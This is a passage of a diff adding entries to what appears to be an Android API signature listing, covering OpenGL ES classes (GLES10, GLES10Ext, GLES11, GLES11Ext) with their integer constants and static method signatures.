+    field public static final int GL_ONE_MINUS_DST_COLOR = 775; // 0x307
+    field public static final int GL_ONE_MINUS_SRC_ALPHA = 771; // 0x303
+    field public static final int GL_ONE_MINUS_SRC_COLOR = 769; // 0x301
+    field public static final int GL_OR = 5383; // 0x1507
+    field public static final int GL_OR_INVERTED = 5389; // 0x150d
+    field public static final int GL_OR_REVERSE = 5387; // 0x150b
+    field public static final int GL_OUT_OF_MEMORY = 1285; // 0x505
+    field public static final int GL_PACK_ALIGNMENT = 3333; // 0xd05
+    field public static final int GL_PALETTE4_R5_G6_B5_OES = 35730; // 0x8b92
+    field public static final int GL_PALETTE4_RGB5_A1_OES = 35732; // 0x8b94
+    field public static final int GL_PALETTE4_RGB8_OES = 35728; // 0x8b90
+    field public static final int GL_PALETTE4_RGBA4_OES = 35731; // 0x8b93
+    field public static final int GL_PALETTE4_RGBA8_OES = 35729; // 0x8b91
+    field public static final int GL_PALETTE8_R5_G6_B5_OES = 35735; // 0x8b97
+    field public static final int GL_PALETTE8_RGB5_A1_OES = 35737; // 0x8b99
+    field public static final int GL_PALETTE8_RGB8_OES = 35733; // 0x8b95
+    field public static final int GL_PALETTE8_RGBA4_OES = 35736; // 0x8b98
+    field public static final int GL_PALETTE8_RGBA8_OES = 35734; // 0x8b96
+    field public static final int GL_PERSPECTIVE_CORRECTION_HINT = 3152; // 0xc50
+    field public static final int GL_POINTS = 0; // 0x0
+    field public static final int GL_POINT_FADE_THRESHOLD_SIZE = 33064; // 0x8128
+    field public static final int GL_POINT_SIZE = 2833; // 0xb11
+    field public static final int GL_POINT_SMOOTH = 2832; // 0xb10
+    field public static final int GL_POINT_SMOOTH_HINT = 3153; // 0xc51
+    field public static final int GL_POLYGON_OFFSET_FILL = 32823; // 0x8037
+    field public static final int GL_POLYGON_SMOOTH_HINT = 3155; // 0xc53
+    field public static final int GL_POSITION = 4611; // 0x1203
+    field public static final int GL_PROJECTION = 5889; // 0x1701
+    field public static final int GL_QUADRATIC_ATTENUATION = 4617; // 0x1209
+    field public static final int GL_RED_BITS = 3410; // 0xd52
+    field public static final int GL_RENDERER = 7937; // 0x1f01
+    field public static final int GL_REPEAT = 10497; // 0x2901
+    field public static final int GL_REPLACE = 7681; // 0x1e01
+    field public static final int GL_RESCALE_NORMAL = 32826; // 0x803a
+    field public static final int GL_RGB = 6407; // 0x1907
+    field public static final int GL_RGBA = 6408; // 0x1908
+    field public static final int GL_SAMPLE_ALPHA_TO_COVERAGE = 32926; // 0x809e
+    field public static final int GL_SAMPLE_ALPHA_TO_ONE = 32927; // 0x809f
+    field public static final int GL_SAMPLE_COVERAGE = 32928; // 0x80a0
+    field public static final int GL_SCISSOR_TEST = 3089; // 0xc11
+    field public static final int GL_SET = 5391; // 0x150f
+    field public static final int GL_SHININESS = 5633; // 0x1601
+    field public static final int GL_SHORT = 5122; // 0x1402
+    field public static final int GL_SMOOTH = 7425; // 0x1d01
+    field public static final int GL_SMOOTH_LINE_WIDTH_RANGE = 2850; // 0xb22
+    field public static final int GL_SMOOTH_POINT_SIZE_RANGE = 2834; // 0xb12
+    field public static final int GL_SPECULAR = 4610; // 0x1202
+    field public static final int GL_SPOT_CUTOFF = 4614; // 0x1206
+    field public static final int GL_SPOT_DIRECTION = 4612; // 0x1204
+    field public static final int GL_SPOT_EXPONENT = 4613; // 0x1205
+    field public static final int GL_SRC_ALPHA = 770; // 0x302
+    field public static final int GL_SRC_ALPHA_SATURATE = 776; // 0x308
+    field public static final int GL_SRC_COLOR = 768; // 0x300
+    field public static final int GL_STACK_OVERFLOW = 1283; // 0x503
+    field public static final int GL_STACK_UNDERFLOW = 1284; // 0x504
+    field public static final int GL_STENCIL_BITS = 3415; // 0xd57
+    field public static final int GL_STENCIL_BUFFER_BIT = 1024; // 0x400
+    field public static final int GL_STENCIL_TEST = 2960; // 0xb90
+    field public static final int GL_SUBPIXEL_BITS = 3408; // 0xd50
+    field public static final int GL_TEXTURE = 5890; // 0x1702
+    field public static final int GL_TEXTURE0 = 33984; // 0x84c0
+    field public static final int GL_TEXTURE1 = 33985; // 0x84c1
+    field public static final int GL_TEXTURE10 = 33994; // 0x84ca
+    field public static final int GL_TEXTURE11 = 33995; // 0x84cb
+    field public static final int GL_TEXTURE12 = 33996; // 0x84cc
+    field public static final int GL_TEXTURE13 = 33997; // 0x84cd
+    field public static final int GL_TEXTURE14 = 33998; // 0x84ce
+    field public static final int GL_TEXTURE15 = 33999; // 0x84cf
+    field public static final int GL_TEXTURE16 = 34000; // 0x84d0
+    field public static final int GL_TEXTURE17 = 34001; // 0x84d1
+    field public static final int GL_TEXTURE18 = 34002; // 0x84d2
+    field public static final int GL_TEXTURE19 = 34003; // 0x84d3
+    field public static final int GL_TEXTURE2 = 33986; // 0x84c2
+    field public static final int GL_TEXTURE20 = 34004; // 0x84d4
+    field public static final int GL_TEXTURE21 = 34005; // 0x84d5
+    field public static final int GL_TEXTURE22 = 34006; // 0x84d6
+    field public static final int GL_TEXTURE23 = 34007; // 0x84d7
+    field public static final int GL_TEXTURE24 = 34008; // 0x84d8
+    field public static final int GL_TEXTURE25 = 34009; // 0x84d9
+    field public static final int GL_TEXTURE26 = 34010; // 0x84da
+    field public static final int GL_TEXTURE27 = 34011; // 0x84db
+    field public static final int GL_TEXTURE28 = 34012; // 0x84dc
+    field public static final int GL_TEXTURE29 = 34013; // 0x84dd
+    field public static final int GL_TEXTURE3 = 33987; // 0x84c3
+    field public static final int GL_TEXTURE30 = 34014; // 0x84de
+    field public static final int GL_TEXTURE31 = 34015; // 0x84df
+    field public static final int GL_TEXTURE4 = 33988; // 0x84c4
+    field public static final int GL_TEXTURE5 = 33989; // 0x84c5
+    field public static final int GL_TEXTURE6 = 33990; // 0x84c6
+    field public static final int GL_TEXTURE7 = 33991; // 0x84c7
+    field public static final int GL_TEXTURE8 = 33992; // 0x84c8
+    field public static final int GL_TEXTURE9 = 33993; // 0x84c9
+    field public static final int GL_TEXTURE_2D = 3553; // 0xde1
+    field public static final int GL_TEXTURE_COORD_ARRAY = 32888; // 0x8078
+    field public static final int GL_TEXTURE_ENV = 8960; // 0x2300
+    field public static final int GL_TEXTURE_ENV_COLOR = 8705; // 0x2201
+    field public static final int GL_TEXTURE_ENV_MODE = 8704; // 0x2200
+    field public static final int GL_TEXTURE_MAG_FILTER = 10240; // 0x2800
+    field public static final int GL_TEXTURE_MIN_FILTER = 10241; // 0x2801
+    field public static final int GL_TEXTURE_WRAP_S = 10242; // 0x2802
+    field public static final int GL_TEXTURE_WRAP_T = 10243; // 0x2803
+    field public static final int GL_TRIANGLES = 4; // 0x4
+    field public static final int GL_TRIANGLE_FAN = 6; // 0x6
+    field public static final int GL_TRIANGLE_STRIP = 5; // 0x5
+    field public static final int GL_TRUE = 1; // 0x1
+    field public static final int GL_UNPACK_ALIGNMENT = 3317; // 0xcf5
+    field public static final int GL_UNSIGNED_BYTE = 5121; // 0x1401
+    field public static final int GL_UNSIGNED_SHORT = 5123; // 0x1403
+    field public static final int GL_UNSIGNED_SHORT_4_4_4_4 = 32819; // 0x8033
+    field public static final int GL_UNSIGNED_SHORT_5_5_5_1 = 32820; // 0x8034
+    field public static final int GL_UNSIGNED_SHORT_5_6_5 = 33635; // 0x8363
+    field public static final int GL_VENDOR = 7936; // 0x1f00
+    field public static final int GL_VERSION = 7938; // 0x1f02
+    field public static final int GL_VERTEX_ARRAY = 32884; // 0x8074
+    field public static final int GL_XOR = 5382; // 0x1506
+    field public static final int GL_ZERO = 0; // 0x0
+  }
+
+  public class GLES10Ext {
+    ctor public GLES10Ext();
+    method public static int glQueryMatrixxOES(int[], int, int[], int);
+    method public static int glQueryMatrixxOES(java.nio.IntBuffer, java.nio.IntBuffer);
+  }
+
+  public class GLES11 extends android.opengl.GLES10 {
+    ctor public GLES11();
+    method public static void glBindBuffer(int, int);
+    method public static void glBufferData(int, int, java.nio.Buffer, int);
+    method public static void glBufferSubData(int, int, int, java.nio.Buffer);
+    method public static void glClipPlanef(int, float[], int);
+    method public static void glClipPlanef(int, java.nio.FloatBuffer);
+    method public static void glClipPlanex(int, int[], int);
+    method public static void glClipPlanex(int, java.nio.IntBuffer);
+    method public static void glColor4ub(byte, byte, byte, byte);
+    method public static void glColorPointer(int, int, int, int);
+    method public static void glDeleteBuffers(int, int[], int);
+    method public static void glDeleteBuffers(int, java.nio.IntBuffer);
+    method public static void glDrawElements(int, int, int, int);
+    method public static void glGenBuffers(int, int[], int);
+    method public static void glGenBuffers(int, java.nio.IntBuffer);
+    method public static void glGetBooleanv(int, boolean[], int);
+    method public static void glGetBooleanv(int, java.nio.IntBuffer);
+    method public static void glGetBufferParameteriv(int, int, int[], int);
+    method public static void glGetBufferParameteriv(int, int, java.nio.IntBuffer);
+    method public static void glGetClipPlanef(int, float[], int);
+    method public static void glGetClipPlanef(int, java.nio.FloatBuffer);
+    method public static void glGetClipPlanex(int, int[], int);
+    method public static void glGetClipPlanex(int, java.nio.IntBuffer);
+    method public static void glGetFixedv(int, int[], int);
+    method public static void glGetFixedv(int, java.nio.IntBuffer);
+    method public static void glGetFloatv(int, float[], int);
+    method public static void glGetFloatv(int, java.nio.FloatBuffer);
+    method public static void glGetLightfv(int, int, float[], int);
+    method public static void glGetLightfv(int, int, java.nio.FloatBuffer);
+    method public static void glGetLightxv(int, int, int[], int);
+    method public static void glGetLightxv(int, int, java.nio.IntBuffer);
+    method public static void glGetMaterialfv(int, int, float[], int);
+    method public static void glGetMaterialfv(int, int, java.nio.FloatBuffer);
+    method public static void glGetMaterialxv(int, int, int[], int);
+    method public static void glGetMaterialxv(int, int, java.nio.IntBuffer);
+    method public static void glGetTexEnvfv(int, int, float[], int);
+    method public static void glGetTexEnvfv(int, int, java.nio.FloatBuffer);
+    method public static void glGetTexEnviv(int, int, int[], int);
+    method public static void glGetTexEnviv(int, int, java.nio.IntBuffer);
+    method public static void glGetTexEnvxv(int, int, int[], int);
+    method public static void glGetTexEnvxv(int, int, java.nio.IntBuffer);
+    method public static void glGetTexParameterfv(int, int, float[], int);
+    method public static void glGetTexParameterfv(int, int, java.nio.FloatBuffer);
+    method public static void glGetTexParameteriv(int, int, int[], int);
+    method public static void glGetTexParameteriv(int, int, java.nio.IntBuffer);
+    method public static void glGetTexParameterxv(int, int, int[], int);
+    method public static void glGetTexParameterxv(int, int, java.nio.IntBuffer);
+    method public static boolean glIsBuffer(int);
+    method public static boolean glIsEnabled(int);
+    method public static boolean glIsTexture(int);
+    method public static void glNormalPointer(int, int, int);
+    method public static void glPointParameterf(int, float);
+    method public static void glPointParameterfv(int, float[], int);
+    method public static void glPointParameterfv(int, java.nio.FloatBuffer);
+    method public static void glPointParameterx(int, int);
+    method public static void glPointParameterxv(int, int[], int);
+    method public static void glPointParameterxv(int, java.nio.IntBuffer);
+    method public static void glPointSizePointerOES(int, int, java.nio.Buffer);
+    method public static void glTexCoordPointer(int, int, int, int);
+    method public static void glTexEnvi(int, int, int);
+    method public static void glTexEnviv(int, int, int[], int);
+    method public static void glTexEnviv(int, int, java.nio.IntBuffer);
+    method public static void glTexParameterfv(int, int, float[], int);
+    method public static void glTexParameterfv(int, int, java.nio.FloatBuffer);
+    method public static void glTexParameteri(int, int, int);
+    method public static void glTexParameteriv(int, int, int[], int);
+    method public static void glTexParameteriv(int, int, java.nio.IntBuffer);
+    method public static void glTexParameterxv(int, int, int[], int);
+    method public static void glTexParameterxv(int, int, java.nio.IntBuffer);
+    method public static void glVertexPointer(int, int, int, int);
+    field public static final int GL_ACTIVE_TEXTURE = 34016; // 0x84e0
+    field public static final int GL_ADD_SIGNED = 34164; // 0x8574
+    field public static final int GL_ALPHA_SCALE = 3356; // 0xd1c
+    field public static final int GL_ALPHA_TEST_FUNC = 3009; // 0xbc1
+    field public static final int GL_ALPHA_TEST_REF = 3010; // 0xbc2
+    field public static final int GL_ARRAY_BUFFER = 34962; // 0x8892
+    field public static final int GL_ARRAY_BUFFER_BINDING = 34964; // 0x8894
+    field public static final int GL_BLEND_DST = 3040; // 0xbe0
+    field public static final int GL_BLEND_SRC = 3041; // 0xbe1
+    field public static final int GL_BUFFER_ACCESS = 35003; // 0x88bb
+    field public static final int GL_BUFFER_SIZE = 34660; // 0x8764
+    field public static final int GL_BUFFER_USAGE = 34661; // 0x8765
+    field public static final int GL_CLIENT_ACTIVE_TEXTURE = 34017; // 0x84e1
+    field public static final int GL_CLIP_PLANE0 = 12288; // 0x3000
+    field public static final int GL_CLIP_PLANE1 = 12289; // 0x3001
+    field public static final int GL_CLIP_PLANE2 = 12290; // 0x3002
+    field public static final int GL_CLIP_PLANE3 = 12291; // 0x3003
+    field public static final int GL_CLIP_PLANE4 = 12292; // 0x3004
+    field public static final int GL_CLIP_PLANE5 = 12293; // 0x3005
+    field public static final int GL_COLOR_ARRAY_BUFFER_BINDING = 34968; // 0x8898
+    field public static final int GL_COLOR_ARRAY_POINTER = 32912; // 0x8090
+    field public static final int GL_COLOR_ARRAY_SIZE = 32897; // 0x8081
+    field public static final int GL_COLOR_ARRAY_STRIDE = 32899; // 0x8083
+    field public static final int GL_COLOR_ARRAY_TYPE = 32898; // 0x8082
+    field public static final int GL_COLOR_CLEAR_VALUE = 3106; // 0xc22
+    field public static final int GL_COLOR_WRITEMASK = 3107; // 0xc23
+    field public static final int GL_COMBINE = 34160; // 0x8570
+    field public static final int GL_COMBINE_ALPHA = 34162; // 0x8572
+    field public static final int GL_COMBINE_RGB = 34161; // 0x8571
+    field public static final int GL_CONSTANT = 34166; // 0x8576
+    field public static final int GL_COORD_REPLACE_OES = 34914; // 0x8862
+    field public static final int GL_CULL_FACE_MODE = 2885; // 0xb45
+    field public static final int GL_CURRENT_COLOR = 2816; // 0xb00
+    field public static final int GL_CURRENT_NORMAL = 2818; // 0xb02
+    field public static final int GL_CURRENT_TEXTURE_COORDS = 2819; // 0xb03
+    field public static final int GL_DEPTH_CLEAR_VALUE = 2931; // 0xb73
+    field public static final int GL_DEPTH_FUNC = 2932; // 0xb74
+    field public static final int GL_DEPTH_RANGE = 2928; // 0xb70
+    field public static final int GL_DEPTH_WRITEMASK = 2930; // 0xb72
+    field public static final int GL_DOT3_RGB = 34478; // 0x86ae
+    field public static final int GL_DOT3_RGBA = 34479; // 0x86af
+    field public static final int GL_DYNAMIC_DRAW = 35048; // 0x88e8
+    field public static final int GL_ELEMENT_ARRAY_BUFFER = 34963; // 0x8893
+    field public static final int GL_ELEMENT_ARRAY_BUFFER_BINDING = 34965; // 0x8895
+    field public static final int GL_FRONT_FACE = 2886; // 0xb46
+    field public static final int GL_GENERATE_MIPMAP = 33169; // 0x8191
+    field public static final int GL_GENERATE_MIPMAP_HINT = 33170; // 0x8192
+    field public static final int GL_INTERPOLATE = 34165; // 0x8575
+    field public static final int GL_LINE_WIDTH = 2849; // 0xb21
+    field public static final int GL_LOGIC_OP_MODE = 3056; // 0xbf0
+    field public static final int GL_MATRIX_MODE = 2976; // 0xba0
+    field public static final int GL_MAX_CLIP_PLANES = 3378; // 0xd32
+    field public static final int GL_MODELVIEW_MATRIX = 2982; // 0xba6
+    field public static final int GL_MODELVIEW_MATRIX_FLOAT_AS_INT_BITS_OES = 35213; // 0x898d
+    field public static final int GL_MODELVIEW_STACK_DEPTH = 2979; // 0xba3
+    field public static final int GL_NORMAL_ARRAY_BUFFER_BINDING = 34967; // 0x8897
+    field public static final int GL_NORMAL_ARRAY_POINTER = 32911; // 0x808f
+    field public static final int GL_NORMAL_ARRAY_STRIDE = 32895; // 0x807f
+    field public static final int GL_NORMAL_ARRAY_TYPE = 32894; // 0x807e
+    field public static final int GL_OPERAND0_ALPHA = 34200; // 0x8598
+    field public static final int GL_OPERAND0_RGB = 34192; // 0x8590
+    field public static final int GL_OPERAND1_ALPHA = 34201; // 0x8599
+    field public static final int GL_OPERAND1_RGB = 34193; // 0x8591
+    field public static final int GL_OPERAND2_ALPHA = 34202; // 0x859a
+    field public static final int GL_OPERAND2_RGB = 34194; // 0x8592
+    field public static final int GL_POINT_DISTANCE_ATTENUATION = 33065; // 0x8129
+    field public static final int GL_POINT_FADE_THRESHOLD_SIZE = 33064; // 0x8128
+    field public static final int GL_POINT_SIZE = 2833; // 0xb11
+    field public static final int GL_POINT_SIZE_ARRAY_BUFFER_BINDING_OES = 35743; // 0x8b9f
+    field public static final int GL_POINT_SIZE_ARRAY_OES = 35740; // 0x8b9c
+    field public static final int GL_POINT_SIZE_ARRAY_POINTER_OES = 35212; // 0x898c
+    field public static final int GL_POINT_SIZE_ARRAY_STRIDE_OES = 35211; // 0x898b
+    field public static final int GL_POINT_SIZE_ARRAY_TYPE_OES = 35210; // 0x898a
+    field public static final int GL_POINT_SIZE_MAX = 33063; // 0x8127
+    field public static final int GL_POINT_SIZE_MIN = 33062; // 0x8126
+    field public static final int GL_POINT_SPRITE_OES = 34913; // 0x8861
+    field public static final int GL_POLYGON_OFFSET_FACTOR = 32824; // 0x8038
+    field public static final int GL_POLYGON_OFFSET_UNITS = 10752; // 0x2a00
+    field public static final int GL_PREVIOUS = 34168; // 0x8578
+    field public static final int GL_PRIMARY_COLOR = 34167; // 0x8577
+    field public static final int GL_PROJECTION_MATRIX = 2983; // 0xba7
+    field public static final int GL_PROJECTION_MATRIX_FLOAT_AS_INT_BITS_OES = 35214; // 0x898e
+    field public static final int GL_PROJECTION_STACK_DEPTH = 2980; // 0xba4
+    field public static final int GL_RGB_SCALE = 34163; // 0x8573
+    field public static final int GL_SAMPLES = 32937; // 0x80a9
+    field public static final int GL_SAMPLE_BUFFERS = 32936; // 0x80a8
+    field public static final int GL_SAMPLE_COVERAGE_INVERT = 32939; // 0x80ab
+    field public static final int GL_SAMPLE_COVERAGE_VALUE = 32938; // 0x80aa
+    field public static final int GL_SCISSOR_BOX = 3088; // 0xc10
+    field public static final int GL_SHADE_MODEL = 2900; // 0xb54
+    field public static final int GL_SRC0_ALPHA = 34184; // 0x8588
+    field public static final int GL_SRC0_RGB = 34176; // 0x8580
+    field public static final int GL_SRC1_ALPHA = 34185; // 0x8589
+    field public static final int GL_SRC1_RGB = 34177; // 0x8581
+    field public static final int GL_SRC2_ALPHA = 34186; // 0x858a
+    field public static final int GL_SRC2_RGB = 34178; // 0x8582
+    field public static final int GL_STATIC_DRAW = 35044; // 0x88e4
+    field public static final int GL_STENCIL_CLEAR_VALUE = 2961; // 0xb91
+    field public static final int GL_STENCIL_FAIL = 2964; // 0xb94
+    field public static final int GL_STENCIL_FUNC = 2962; // 0xb92
+    field public static final int GL_STENCIL_PASS_DEPTH_FAIL = 2965; // 0xb95
+    field public static final int GL_STENCIL_PASS_DEPTH_PASS = 2966; // 0xb96
+    field public static final int GL_STENCIL_REF = 2967; // 0xb97
+    field public static final int GL_STENCIL_VALUE_MASK = 2963; // 0xb93
+    field public static final int GL_STENCIL_WRITEMASK = 2968; // 0xb98
+    field public static final int GL_SUBTRACT = 34023; // 0x84e7
+    field public static final int GL_TEXTURE_BINDING_2D = 32873; // 0x8069
+    field public static final int GL_TEXTURE_COORD_ARRAY_BUFFER_BINDING = 34970; // 0x889a
+    field public static final int GL_TEXTURE_COORD_ARRAY_POINTER = 32914; // 0x8092
+    field public static final int GL_TEXTURE_COORD_ARRAY_SIZE = 32904; // 0x8088
+    field public static final int GL_TEXTURE_COORD_ARRAY_STRIDE = 32906; // 0x808a
+    field public static final int GL_TEXTURE_COORD_ARRAY_TYPE = 32905; // 0x8089
+    field public static final int GL_TEXTURE_MATRIX = 2984; // 0xba8
+    field public static final int GL_TEXTURE_MATRIX_FLOAT_AS_INT_BITS_OES = 35215; // 0x898f
+    field public static final int GL_TEXTURE_STACK_DEPTH = 2981; // 0xba5
+    field public static final int GL_VERTEX_ARRAY_BUFFER_BINDING = 34966; // 0x8896
+    field public static final int GL_VERTEX_ARRAY_POINTER = 32910; // 0x808e
+    field public static final int GL_VERTEX_ARRAY_SIZE = 32890; // 0x807a
+    field public static final int GL_VERTEX_ARRAY_STRIDE = 32892; // 0x807c
+    field public static final int GL_VERTEX_ARRAY_TYPE = 32891; // 0x807b
+    field public static final int GL_VIEWPORT = 2978; // 0xba2
+    field public static final int GL_WRITE_ONLY = 35001; // 0x88b9
+  }
+
+  public class GLES11Ext {
+    ctor public GLES11Ext();
+    method public static void glAlphaFuncxOES(int, int);
+    method public static void glBindFramebufferOES(int, int);
+    method public static void glBindRenderbufferOES(int, int);
+    method public static void glBlendEquationOES(int);
+    method public static void glBlendEquationSeparateOES(int, int);
+    method public static void glBlendFuncSeparateOES(int, int, int, int);
+    method public static int glCheckFramebufferStatusOES(int);
+    method public static void glClearColorxOES(int, int, int, int);
+    method public static void glClearDepthfOES(float);
+    method public static void glClearDepthxOES(int);
+    method public static void glClipPlanefOES(int, float[], int);
+    method public static void glClipPlanefOES(int, java.nio.FloatBuffer);
+    method public static void glClipPlanexOES(int, int[], int);
+    method public static void glClipPlanexOES(int, java.nio.IntBuffer);
+    method public static void glColor4xOES(int, int, int, int);
+    method public static void glCurrentPaletteMatrixOES(int);
+    method public static void glDeleteFramebuffersOES(int, int[], int);
+    method public static void glDeleteFramebuffersOES(int, java.nio.IntBuffer);
+    method public static void glDeleteRenderbuffersOES(int, int[], int);
+    method public static void glDeleteRenderbuffersOES(int, java.nio.IntBuffer);
+    method public static void glDepthRangefOES(float, float);
+    method public static void glDepthRangexOES(int, int);
+    method public static void glDrawTexfOES(float, float, float, float, float);
+    method public static void glDrawTexfvOES(float[], int);
+    method public static void glDrawTexfvOES(java.nio.FloatBuffer);
+    method public static void glDrawTexiOES(int, int, int, int, int);
+    method public static void glDrawTexivOES(int[], int);
+    method public static void glDrawTexivOES(java.nio.IntBuffer);
+    method public static void glDrawTexsOES(short, short, short, short, short);
+    method public static void glDrawTexsvOES(short[], int);
+    method public static void glDrawTexsvOES(java.nio.ShortBuffer);
+    method public static void glDrawTexxOES(int, int, int, int, int);
+    method public static void glDrawTexxvOES(int[], int);
+    method public static void glDrawTexxvOES(java.nio.IntBuffer);
+    method public static void glEGLImageTargetRenderbufferStorageOES(int, java.nio.Buffer);
+    method public static void glEGLImageTargetTexture2DOES(int, java.nio.Buffer);
+    method public static void glFogxOES(int, int);
+    method public static void glFogxvOES(int, int[], int);
+    method public static void glFogxvOES(int, java.nio.IntBuffer);
+    method public static void glFramebufferRenderbufferOES(int, int, int, int);
+    method public static void glFramebufferTexture2DOES(int, int, int, int, int);
+    method public static void glFrustumfOES(float, float, float, float, float, float);
+    method public static void glFrustumxOES(int, int, int, int, int, int);
+    method public static void glGenFramebuffersOES(int, int[], int);
+    method public static void glGenFramebuffersOES(int, java.nio.IntBuffer);
+    method public static void glGenRenderbuffersOES(int, int[], int);
+    method public static void glGenRenderbuffersOES(int, java.nio.IntBuffer);
+    method public static void glGenerateMipmapOES(int);
+    method public static void glGetClipPlanefOES(int, float[], int);
+    method public static void glGetClipPlanefOES(int, java.nio.FloatBuffer);
+    method public static void glGetClipPlanexOES(int, int[], int);
+    method public static void glGetClipPlanexOES(int, java.nio.IntBuffer);
+    method public static void glGetFixedvOES(int, int[], int);
+    method public static void glGetFixedvOES(int, java.nio.IntBuffer);
+    method public static void glGetFramebufferAttachmentParameterivOES(int, int, int, int[], int);
+    method public static void glGetFramebufferAttachmentParameterivOES(int, int, int, java.nio.IntBuffer);
+    method public static void glGetLightxvOES(int, int, int[], int);
+    method public static void glGetLightxvOES(int, int, java.nio.IntBuffer);
+    method public static void glGetMaterialxvOES(int, int, int[], int);
+    method public static void glGetMaterialxvOES(int, int, java.nio.IntBuffer);
+    method public static void glGetRenderbufferParameterivOES(int, int, int[], int);
+    method public static void glGetRenderbufferParameterivOES(int, int, java.nio.IntBuffer);
+    method public static void glGetTexEnvxvOES(int, int, int[], int);
+    method public static void glGetTexEnvxvOES(int, int, java.nio.IntBuffer);
+    method public static void glGetTexGenfvOES(int, int, float[], int);
+    method public static void glGetTexGenfvOES(int, int, java.nio.FloatBuffer);
+    method public static void glGetTexGenivOES(int, int, int[], int);
+    method public static void glGetTexGenivOES(int, int, java.nio.IntBuffer);
+    method public static void glGetTexGenxvOES(int, int, int[], int);
+    method public static void glGetTexGenxvOES(int, int, java.nio.IntBuffer);
+    method public static void glGetTexParameterxvOES(int, int, int[], int);
+    method public static void glGetTexParameterxvOES(int, int, java.nio.IntBuffer);
+    method public static boolean glIsFramebufferOES(int);
+    method public static boolean glIsRenderbufferOES(int);
+    method public static void glLightModelxOES(int, int);
+    method public static void glLightModelxvOES(int, int[], int);
+    method public static void glLightModelxvOES(int, java.nio.IntBuffer);
+    method public static void glLightxOES(int, int, int);
+    method public static void glLightxvOES(int, int, int[], int);
+    method public static void glLightxvOES(int, int, java.nio.IntBuffer);
+    method public static void glLineWidthxOES(int);
+    method public static void glLoadMatrixxOES(int[], int);
+    method public static void glLoadMatrixxOES(java.nio.IntBuffer);
+    method public static void glLoadPaletteFromModelViewMatrixOES();
+    method public static void glMaterialxOES(int, int, int);
+    method public static void glMaterialxvOES(int, int, int[], int);
+    method public static void glMaterialxvOES(int, int, java.nio.IntBuffer);
+    method public static void glMatrixIndexPointerOES(int, int, int, java.nio.Buffer);
+    method public static void glMultMatrixxOES(int[], int);
+    method public static void glMultMatrixxOES(java.nio.IntBuffer);
+    method public static void glMultiTexCoord4xOES(int, int, int, int, int);
+    method public static void glNormal3xOES(int, int, int);
+    method public static void glOrthofOES(float, float, float, float, float, float);
+    method public static void glOrthoxOES(int, int, int, int, int, int);
+    method public static void glPointParameterxOES(int, int);
+    method public static void glPointParameterxvOES(int, int[], int);
+    method public static void glPointParameterxvOES(int, java.nio.IntBuffer);
+    method public static void glPointSizexOES(int);
+    method public static void glPolygonOffsetxOES(int, int);
+    method public static void glRenderbufferStorageOES(int, int, int, int);
+    method public static void glRotatexOES(int, int, int, int);
+    method public static void glSampleCoveragexOES(int, boolean);
+    method public static void glScalexOES(int, int, int);
+    method public static void glTexEnvxOES(int, int, int);
+    method public static void glTexEnvxvOES(int, int, int[], int);
+    method public static void glTexEnvxvOES(int, int, java.nio.IntBuffer);
+    method public static void glTexGenfOES(int, int, float);
+    method public static void glTexGenfvOES(int, int, float[], int);
+    method public static void glTexGenfvOES(int, int, java.nio.FloatBuffer);
+    method public static void glTexGeniOES(int, int, int);
+    method public static void glTexGenivOES(int, int, int[], int);
+    method public static void glTexGenivOES(int, int, java.nio.IntBuffer);
+    method public static void glTexGenxOES(int, int, int);
+    method public static void glTexGenxvOES(int, int, int[], int);
+    method public static void glTexGenxvOES(int, int, java.nio.IntBuffer);
+    method public static void glTexParameterxOES(int, int, int);
+    method public static void glTexParameterxvOES(int, int, int[], int);
+    method public static void glTexParameterxvOES(int, int, java.nio.IntBuffer);
+    method public static void glTranslatexOES(int, int, int);
+    method public static void glWeightPointerOES(int, int, int, java.nio.Buffer);
+    field public static final int GL_3DC_XY_AMD = 34810; // 0x87fa
+    field public static final int GL_3DC_X_AMD = 34809; // 0x87f9
+    field public static final int GL_ATC_RGBA_EXPLICIT_ALPHA_AMD = 35987; // 0x8c93
+    field public static final int GL_ATC_RGBA_INTERPOLATED_ALPHA_AMD = 34798; // 0x87ee
+    field public static final int GL_ATC_RGB_AMD = 35986; // 0x8c92
+    field public static final int GL_BGRA = 32993; // 0x80e1
+    field public static final int GL_BLEND_DST_ALPHA_OES = 32970; // 0x80ca
+    field public static final int GL_BLEND_DST_RGB_OES = 32968; // 0x80c8
+    field public static final int GL_BLEND_EQUATION_ALPHA_OES = 34877; // 0x883d
+    field public static final int GL_BLEND_EQUATION_OES = 32777; // 0x8009
+    field public static final int GL_BLEND_EQUATION_RGB_OES = 32777; // 0x8009
+    field public static final int GL_BLEND_SRC_ALPHA_OES = 32971; // 0x80cb
+    field public static final int GL_BLEND_SRC_RGB_OES = 32969; // 0x80c9
+    field public static final int GL_BUFFER_ACCESS_OES = 35003; // 0x88bb
+    field public static final int GL_BUFFER_MAPPED_OES = 35004; // 0x88bc
+    field public static final int GL_BUFFER_MAP_POINTER_OES = 35005; // 0x88bd
+    field public static final int GL_COLOR_ATTACHMENT0_OES = 36064; // 0x8ce0
+    field public static final int GL_CURRENT_PALETTE_MATRIX_OES = 34883; // 0x8843
+    field public static final int GL_DECR_WRAP_OES = 34056; // 0x8508
+    field public static final int GL_DEPTH24_STENCIL8_OES = 35056; // 0x88f0
+    field public static final int GL_DEPTH_ATTACHMENT_OES = 36096; // 0x8d00
+    field public static final int GL_DEPTH_COMPONENT16_OES = 33189; // 0x81a5
+    field public static final int GL_DEPTH_COMPONENT24_OES = 33190; // 0x81a6
+    field public static final int GL_DEPTH_COMPONENT32_OES = 33191; // 0x81a7
+    field public static final int GL_DEPTH_STENCIL_OES = 34041; // 0x84f9
+    field public static final int GL_ETC1_RGB8_OES = 36196; // 0x8d64
+    field public static final int GL_FIXED_OES = 5132; // 0x140c
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_OBJECT_NAME_OES = 36049; // 0x8cd1
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE_OES = 36048; // 0x8cd0
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE_OES = 36051; // 0x8cd3
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL_OES = 36050; // 0x8cd2
+    field public static final int GL_FRAMEBUFFER_BINDING_OES = 36006; // 0x8ca6
+    field public static final int GL_FRAMEBUFFER_COMPLETE_OES = 36053; // 0x8cd5
+    field public static final int GL_FRAMEBUFFER_INCOMPLETE_ATTACHMENT_OES = 36054; // 0x8cd6
+    field public static final int GL_FRAMEBUFFER_INCOMPLETE_DIMENSIONS_OES = 36057; // 0x8cd9
